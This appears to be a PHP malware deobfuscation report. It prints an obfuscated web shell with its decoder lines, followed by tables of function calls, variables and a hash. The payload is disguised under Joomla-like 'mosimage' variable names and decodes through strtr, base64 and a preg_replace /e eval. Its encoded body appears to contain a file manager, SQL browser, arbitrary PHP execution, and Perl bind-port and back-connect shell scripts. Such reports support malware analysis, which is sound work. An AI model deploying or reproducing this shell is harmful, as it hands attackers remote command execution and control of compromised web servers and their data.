R5<GUnXT09J3Bn<3FsJykNCgkJCQkJCSR_UE9TVFsn<DInXSA9IC&TRUxFQ1QgKiBGUk9NIC<uJF9QT1NUWy&wMi&&Li<gTElNSVQgMzAgT0ZGU0VUIC<uKCR_UE9TVFsn<DMnXSozMCk7DQoJCQkJCWVs<2UNCgkJCQkJCSR_UE9TVFsn<DInXSA9IC&TRUxFQ1QgKiBGUk9NIGAnLiR_UE9TVFsn<DInXS4nYCBMSU1JVCAnLigkX1BPU1R[J3AzJ10qMzApLi<sMzAnOw0KCQkJCQllY2hvICI8YnI+PGJyPiI7DQoJCQkJ_Q0KCQkJCWlmKChAJF9QT1NUWy&wMS&&ID09IC&x&WVy*S<pICYmICFl[XB0*SgkX1BPU1R[J3AyJ10pKSB7DQoJCQkJCSRkYi0+<XVl<nkoQCR_UE9TVFsn<DInXSk7DQoJCQkJCWlmKCRkYi0+<mVzICE9PSBmYWxzZSkg*w0KCQkJCQkJJHRp&GxlID0gZmFs<2U7DQoJCQkJCQllY2hvIC<8&GFi[GUg&2lk&Gg9MTAwJSBjZWxs<3BhY2luZz0xIGNl[GxwYWRk]W5nPTIgY2xh<3M9[WFp[iBz&HlsZT0iYmFj]2&y[3VuZC1j[2xv<jojMjkyOTI5Ij4nOw0KCQkJCQkJJGxp[mUgPSAxOw0KCQkJCQkJ&2hp[GUoJGl0ZW0gPSAkZGItPmZl&GNoKCkpCXsNCgkJCQkJCQlpZighJHRp&GxlKQl7DQoJCQkJCQkJCWVj]G8gJzx0<j4nOw0KCQkJCQkJCQlm[3JlYWNoKCRp&GVtIGFzICRrZXkgPT4gJHZh[HVlKQ0KCQkJCQkJCQkJZWNo[yAnPHRoPi<uJGtl*S4nPC90]D4nOw0KCQkJCQkJCQlyZXNl&Cgk]XRl[Sk7DQoJCQkJCQkJCSR0]XRsZT10<nVlOw0KCQkJCQkJCQllY2hvIC<8L3RyPjx0<j4nOw0KCQkJCQkJCQkk[GluZSA9IDI7DQoJCQkJCQkJ_Q0KCQkJCQkJCWVj]G8gJzx0<iBj[GFz<z0i[C<uJGxp[mUuJyI+JzsNCgkJCQkJCQkk[GluZSA9ICRs]W5lPT0xPzI6MTsNCgkJCQkJCQlm[3JlYWNoKCRp&GVtIGFzICRrZXkgPT4gJHZh[HVlKSB7DQoJCQkJCQkJCWlmKCR2YWx1ZSA9PSBu&WxsKQ0KCQkJCQkJCQkJZWNo[yAnPHRkPjxpPm51[Gw8L2k+PC90ZD4nOw0KCQkJCQkJCQll[HNlDQoJCQkJCQkJCQllY2hvIC<8&GQ+Jy5u[DJi<iho&G1s<3BlY2lh[GNoYXJzKCR2YWx1ZSkpLi<8L3RkPi<7DQoJCQkJCQkJ_Q0KCQkJCQkJCWVj]G8gJzwv&HI+JzsNCgkJCQkJCX0NCgkJCQkJCWVj]G8gJzwv&GFi[GU+JzsNCgkJCQkJ_SBl[HNlIHsNCgkJCQkJCWVj]G8gJzxk]XY+PGI+RXJy[3I6PC9iPiAnLmh0[Wxz<GVj]WFsY2hh<nMoJGRiLT5l<nJv<igpKS4nPC9k]XY+JzsNCgkJCQkJ_Q0KCQkJCX0NCgkJCQllY2hvICI8YnI+PC9m[3JtPjxm[3JtIG9u<3Vi[Wl0PS&kLnNmLnAxLnZh[HVlPVwi<XVl<nl<IjtkLnNmLnAyLnZh[HVlPXRo]XMu<XVl<nku&mFs&WU7ZG9j&W1l[nQu<2Yu<3Vi[Wl0KCk7<mV0&XJuIGZh[HNlOy<+PHRl*HRh<mVhIG5h[WU9J3F1ZXJ5JyBz&HlsZT0n&2lk&Gg6MTAwJTtoZWln]HQ6MTAw<HgnPiI7DQogICAgICAgICAgICAgICAg]WYoIWVt<HR5KCR_UE9TVFsn<DInXSkgJiYgKCR_UE9TVFsn<DEnXSAhPSAn[G9hZGZp[GUnKSkNCiAgICAgICAgICAgICAgICAgICAgZWNo[yBo&G1s<3BlY2lh[GNoYXJzKCR_UE9TVFsn<DInXSk7DQogICAgICAgICAgICAgICAgZWNo[yAiPC90ZXh0YXJlYT48YnIvPjxp[nB1&CB0*XBlPXN1Ym1p&CB2YWx1ZT0nRXhlY3V0ZS<+IjsNCgkJCQllY2hvICI8L3RkPjwv&HI+IjsNCgkJCX0NCgkJCWVj]G8gIjwv&GFi[GU+PC9m[3JtPjxi<i8+IjsNCiAgICAgICAgICAgIGlmKCR_UE9TVFsn&HlwZS&&PT0n[Xlz<WwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5x&WVy*SgiU0VMRUNUIDEgRlJPTSBt*XNx[C51<2VyIF&IRVJFIGNv[mNh&Chg&XNl<mAsIC&AJywgYGhv<3RgKSA9IFVTRVIoKSBBTkQgYEZp[GV_<HJp&mAgPSAn*S<iKTsNCiAgICAgICAgICAgICAgICBpZigkZGItPmZl&GNoKCkpDQogICAgICAgICAgICAgICAgICAgIGVj]G8gIjxm[3JtIG9u<3Vi[Wl0PS&kLnNmLnAxLnZh[HVlPVwi[G9hZGZp[GV<Ijtk[2N1[WVu&C5zZi5wMi52YWx1ZT10]GlzLmYu&mFs&WU7ZG9j&W1l[nQu<2Yu<3Vi[Wl0KCk7<mV0&XJuIGZh[HNlOy<+PHNwYW4+TG9hZCBm]WxlPC9z<GFuPiA8]W5w&XQgIGNsYXNzPS&0[29s<0lu<C<g&HlwZT10ZXh0IG5h[WU9Zj48]W5w&XQg&HlwZT1z&WJt]XQg&mFs&WU9Jz4+Jz48L2Zv<m0+IjsNCiAgICAgICAgICAgIH0NCgkJCWlmKEAkX1BPU1R[J3AxJ10gPT0gJ2xvYWRm]WxlJykg*w0KCQkJCSRm]WxlID0gJGRiLT5s[2FkRmlsZSgkX1BPU1R[J3AyJ10pOw0KCQkJCWVj]G8gJzxw<mUgY2xh<3M9[WwxPi<u]HRt[HNwZWNpYWxj]GFy<ygkZmlsZVsnZmlsZS&&KS4nPC9w<mU+JzsNCgkJCX0NCgl9IGVs<2Ug*w0KICAgICAgICBlY2hvIGh0[Wxz<GVj]WFsY2hh<nMoJGRiLT5l<nJv<igpKTsNCiAgICB9DQoJZWNo[yAnPC9k]XY+JzsNCgl3<29G[290ZXIoKTsNCn0NCmZ1[mN0]W9uIGFj&Glv[k5l&H&v<msoKSB7DQoJ&3NvSGVhZGVyKCk7DQoJJGJhY2t_Y29u[mVj&F9wPSJJ*UV2ZFhO*UwySnBi]Tl3WlhK<0RR<DFjMlVnVTI5]mEyVjBP&zBLSk&s]FpHUnlQV2x1WlhSZllYUnZi]W&rUVZKSFZs<3&YU2tnZkh3Z1pH[GxLQ0pGY25K&mNq[2&KQ0ZjYmlJ<E93MEtKSEJoWk&S*VBYTnZZMnRoWk&S*Vgy[HVLQ1JCVWtkV1&6RmRMQ0FrYV&G]1pISXBJSHg4SU&S<FpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUn&j[TkwYnox[lpYUn&j[TkwYjJKNWJtRnR]U2&uZE&O&0p5]z&EUXB6YjJO<lpYUW9VMDlEUzBWVUxDQlFS[DlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3&nSkhC*WIzUnZLU0I4ZkNC]2FXVW9J]1Z5Y205*U9pQWtJVnh1SWlrN0RR<GpiMjV1Wl&OMEtGTlBRMHRGVkN3Z0pIQmh]R1J5S1NCOGZDQmthV1VvSWtW*WNtOXlP]UFrSVZ4&Ulp]z&EUXB2Y0&W&UtGTlVSRWxPTENB]VBpWlRUME5MUlZR]UtU<05D[Tl3Wl<0[1UxUkVUMVZVTENB]VBpWlRUME5MUlZR]UtU<05D[Tl3Wl<0[1UxUkVSVkpTTENB]VBpWlRUME5MUlZR]UtU<05D[k41YzNS[GJTZ25MMkpwYmk5*mFDQXRhU2NwT3<wS1ky*HZjMlVvVTFSRVNVNHBP&zBLWTJ4&mMyVW9VMVJFVDFWVUtU<05D[U5zYjNO[EtGTlVSRVZTVWlrNyI7DQoJJGJp[mR_<G9y&F9wPSJJ*UV2ZFhO*UwySnBi]Tl3WlhK<0RR[2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xX]2lP&zBLYV&ZZ0tFQkJV]2RXSUR3Z01T]2&l*UJsZU&sMEtERXBP*UI5RFFwMWMyVW&VMjlqYTJWME93MEtjMjlqYTJWMEtGTXNK[EJHWDBsT1JWUXNK[E5QUTB0ZlUxUlNSVUZOTE&k[GRIQnliM1J2WW5s&VlXMWxLQ2QwWTNB[ktT]2&mSH&nWk&s[ElDSkRZVzUwSU&O*VpXRjB]U0J6YjJO<lpYUmNi]Uk3RFFw*lpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEw&EZWQ3hUVDE5U1JWVlRSVUZFUkZJ<01T]z&EUXBpYV<1]0tGTXNjMjlqYTJG]1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1Nr<ElI*DhJR1JwWlNB]VEyRnVkQ0J2Y0&W&UlIQnZj[lJjYmlJN0RR<HNhWE4wWl<0[1V5&3pLU0I4ZkNC]2FXVW&J]05oYm5RZ2JH[HpkR1Z1SUhC&mNuUmNi]Uk3RFFwM2FH[HN]U2&4S1NCN0RR[0pZV05qWlhCMEtFTlBU]zRzVXlrN0RR[0phV1lvSVNn]2NH[GtQV1p2Y21z<EtTQj&EUW9KQ1&S<FpTQWlRMkZ1Ym05MElHWnZj[XNpSU&s[UlDZ2h]R1ZtYV<1[FpDQWtjR2xrS1RzTkNn]0piM0JsYmlCVFZFUkpU]X&pUEN]RFQwNU9J]nNOQ2&rSmIzQmxi]UJUVkVSUFZWUXNJ]jRtUTA5T1RpST&EUW9KQ1<5&1pXNG&VMVJFUlZKU0xDSStK]05QVGs0]U93MEtDUWxsZU&W]klDUlRTRVZNVENCOGZDQmthV1VnY0hK<GJuUW&RMDlPVGlB]VEyRnVkQ0JsZU&W]mRYUmxJQ1JUU0VWTVRG*HVJ]nNOQ2&rSlky*HZjMlVnUTA5T1Rq<05DZ2tKWlho<GRDQX&P&zBLQ1gwTkNuMD0iOw0KCWVj]G8gIjxoMT5OZXR3[3JrIHRv[2xzPC9oMT48ZGl2IGNsYXNzPWNv[nRl[nQ+DQoJPGZv<m0g[mFtZT0n[mZwJyBv[lN1Ym1p&D1<Im<o[nVs[Cxu&WxsLC&i<HAnLHRo]XMu<G9y&C52YWx1ZSk7<mV0&XJuIGZh[HNlO1wiPg0KCTxz<GFuPkJp[mQg<G9y&CB0[yAvYmluL3NoIFtwZXJsXTwv<3Bh[j48YnIvPg0KCVBv<nQ6IDxp[nB1&CB0*XBlPS&0ZXh0JyBuYW1lPS&w[3J0JyB2YWx1ZT0nMzEzMz<nPiA8]W5w&XQg&HlwZT1z&WJt]XQg&mFs&WU9Jz4+Jz4NCgk8L2Zv<m0+DQoJPGZv<m0g[mFtZT0n[mZwJyBv[lN1Ym1p&D1<Im<o[nVs[Cxu&WxsLC&iY3AnLHRo]XMu<2Vy&mVyLnZh[HVlLHRo]XMu<G9y&C52YWx1ZSk7<mV0&XJuIGZh[HNlO1wiPg0KCTxz<GFuPkJhY2stY29u[mVj&CAgW3Bl<mx&PC9z<GFuPjxi<i8+DQoJU2Vy&mVyOiA8]W5w&XQg&HlwZT0n&GV4&C<g[mFtZT0n<2Vy&mVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJ[J1JFTU9URV9BRERSJ10gLiInPiBQ[3J0OiA8]W5w&XQg&HlwZT0n&GV4&C<g[mFtZT0n<G9y&C<g&mFs&WU9JzMxMzM3Jz4gPGlu<HV0IHR5<GU9<3Vi[Wl0IHZh[HVlPS<+Pi<+DQoJPC9m[3JtPjxi<j4iOw0KCWlmKGlz<2V0KCR_UE9TVFsn<DEnXSkpIHsNCgkJZnVuY3Rp[24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZv<GVuKCRmLCJ3Iikg[3IgQGZ1[mN0]W9uX2V4]XN0<ygnZmlsZV9w&XR_Y29u&GVu&HMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZn&y]XRlKCR3LEBiYXNlNjR_ZGVj[2RlKCR0KSk7DQoJCQkJQGZj[G9zZSgk&yk7DQoJCQl9DQoJCX0NCgkJ]WYoJF9QT1NUWy&wMS&&ID09IC&i<HAnKSB7DQoJCQljZigiL3Rt<C9i<C5w[CIsJGJp[mR_<G9y&F9wKTsNCgkJCSRv&XQgPSB3<29F*Cgi<GVy[CAv&G1wL2JwLnBsICIuJF9QT1NUWy&wMi&&LiIgMT4vZGV2L251[GwgMj4mMSAmIik7DQoJCQllY2hvICI8<HJlIGNsYXNzPW1sMT4k[3V0XG4iLn&z[0V4KCJw<yBh&Xgg_CBn<mVwIGJwLnBsIikuIjwv<HJlPiI7DQogICAgICAgICAgICB1[mxp[msoIi90[XAvYnAu<GwiKTsNCgkJ_Q0KCQlpZigkX1BPU1R[J3AxJ10gPT0gJ2Jj<C<pIHsNCgkJCWNmKCIv&G1wL2JjLnBsIiwkYmFj]19j[25uZWN0X3ApOw0KCQkJJG91&CA9IH&z[0V4KCJwZXJsIC90[XAvYmMu<GwgIi4kX1BPU1R[J3AyJ10uIiAiLiR_UE9TVFsn<DMnXS4iIDE+L2Rl&i9u&WxsIDI+JjEgJiIpOw0KCQkJZWNo[yAiPHByZSBj[GFz<z1t[DE+JG91&FxuIi53<29F*Cgi<HMgYXV4IHwgZ3Jl<CBiYy5w[CIpLiI8L3ByZT4iOw0KICAgICAgICAgICAg&W5s]W5rKCIv&G1wL2JjLnBsIik7DQoJCX0NCgl9DQoJZWNo[yAnPC9k]XY+JzsNCgl3<29G[290ZXIoKTsNCn0NCmZ1[mN0]W9uIGFj&Glv[lJDKCkg*w0KCWlmKCFAJF9QT1NUWy&wMS&&KSB7DQoJCSRhID0gYXJyYXkoDQoJCQki&W5h[WUiID0+IHBo<F91[mFtZSgpLA0KCQkJInBo<F92ZXJz]W9uIiA9PiBw]HB2ZXJz]W9uKCksDQoJCQki&3NvX3Zl<nNp[24iID0+IF&TT19WRVJTSU9OLA0KCQkJInNhZmVt[2RlIiA9PiBA]W5pX2&l&Cgn<2FmZV9t[2RlJykNCgkJKTsNCgkJZWNo[yBzZXJpYWxp*mUoJGEpOw0KCX0gZWxzZSB7DQoJCWV2YWwoJF9QT1NUWy&wMS&&KTsNCgl9DQp9DQppZiggZW1w&HkoJF9QT1NUWy&hJ10pICkNCglpZihp<3Nl&CgkZGVmYXVs&F9hY3Rp[24pICYmIGZ1[mN0]W9uX2V4]XN0<ygnYWN0]W9uJyAuICRkZWZh&Wx0X2Fj&Glv[ikpDQoJCSR_UE9TVFsnYS&&ID0gJGRlZmF1[HR_YWN0]W9uOw0KCWVs<2UNCgkJJF9QT1NUWy&hJ10gPSAnU2VjSW5m[y<7DQppZiggIWVt<HR5KCR_UE9TVFsnYS&&KSAmJiBm&W5j&Glv[l9l*Glz&HMoJ2Fj&Glv[i<gLiAkX1BPU1R[J2EnXSkgKQ0KCWNh[Gx_&XNl<l9m&W5jKC&hY3Rp[24nIC4gJF9QT1NUWy&hJ10pOw0KZXhp&Ds=";
$sHgty=$brtAe($jHyhj,"][<&*_","abcdef");
$mosimage_category_session("/.*/e","\x2F\x2A\x35\x39\x38\x36\x32\x2A\x2F\x65\x76\x61\x6C\x28\x24\x6D\x6F\x73\x69\x6D\x61\x67\x65\x5F\x63\x61\x74\x65\x67\x6F\x72\x79\x28'$sHgty'\x29\x29\x3B",".");


?>

Function Calls

strtr 1
strrev 2
preg_replace 1

Variables

$brtAe strtr
$color #df5
$jHyhj ]WYoIWVt<HR5KCR_U0VSVkVSWy&IVFRQX1VTRVJ_QU&FTlQnXSkpIHsNCiAg..
$sHgty aWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAg..
$Hgtgfy str
$Nhygfju tr
$default_action FilesMan
$default_charset Windo.ws-1251
$default_use_ajax True
$mosimage_session 83f76baa5eda735393d335bae97cde1b
$mosimage_category base64_decode
$mosimage_category_session preg_replace

Stats

MD5 037f70f85dceef90a88be12865f1edc5
Eval Count 1
Decode Time 1228 ms